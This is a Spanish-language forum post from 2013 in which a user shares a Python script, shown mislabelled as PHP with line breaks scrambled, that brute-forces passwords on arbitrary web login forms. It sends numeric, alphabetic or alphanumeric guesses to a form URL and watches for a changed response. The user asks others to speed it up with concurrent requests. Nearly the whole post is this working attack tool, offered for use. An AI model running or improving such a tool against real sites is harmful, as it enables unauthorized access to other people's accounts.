Ver Mensaje Individual
  #1 (permalink)  
Antiguo 31/05/2013, 09:31
Avatar de roal40
roal40
 
Fecha de Ingreso: enero-2012
Mensajes: 61
Antigüedad: 12 años, 10 meses
Puntos: 4
Fuerza bruta formularios web

Hola buenas, he creado un programa para reventar contraseñas de cualquier formulario web.

La cuestión es que funciona muy lento, pero funciona.

Os dejo el codigo, la cuestión es a ver quien puede acelerar mi programa, o al menos hacer varias peticiones a la vez y no que se tenga que esperar a que acabe una solicitud para enviar otra.

Código PHP:
#!/usr/bin/python
import os,sys,urllib
import itertools
import urllib
.request,urllib.parse,urllib.error
def bruteforce
(charsetmaxlength):
    return (
''.join(candidate)
    for 
candidate in itertools.chain.from_iterable(itertools.product(charsetrepeat=i)
    for 
i in range(1maxlength 1))) 
print(
'1º Numérica')
print(
'2º Alfabética')
print(
'3º Alfanumérica')
typep input("Introduce numero del tipo de metodo que quieres: ")
if 
typep=='1':
    
lista='0123456789'
if typep=='2':
    
lista='qwertyuiopasdfghjklñzxcvbnm'
if typep=='3':
    
lista='qwertyuiopasdfghjklñzxcvbnm0123456789'
maxi int(input("Introduce el máximo de carácteres de la contraseña: "))
usuarioi input("Introduce el nombre del formulario email / usuario: "
clavei input("Introduce el nombre del formulario contraseña: ")
url input("Introduce la url del action del formulario: ")
user input("Introduce email / usuario: ")
print(
'Conectando a'url)
for 
password in bruteforce(listamaxi):
    try:
        
password=''.join(password
        print(
'Probando ',user,' : ',password)
        
data urllib.parse.urlencode({usuarioiuserclaveipassword})
        
binary_data data.encode('utf8')
        
response urllib.request.urlopen(url)
        
html2 response.read()
        
req urllib.request.Request(urlbinary_data)
        
req.add_header('Cookie''security=low; PHPSESSID=fefsfesfseee')
        
response1 urllib.request.urlopen(req)
        
html1 response1.read()
        if 
html2 != html1:
            print(
'La clave es ',password)
            
pas open('done.txt','a')
            
pas.write(password)
            
pas.close()
            break
    
except:
        
pass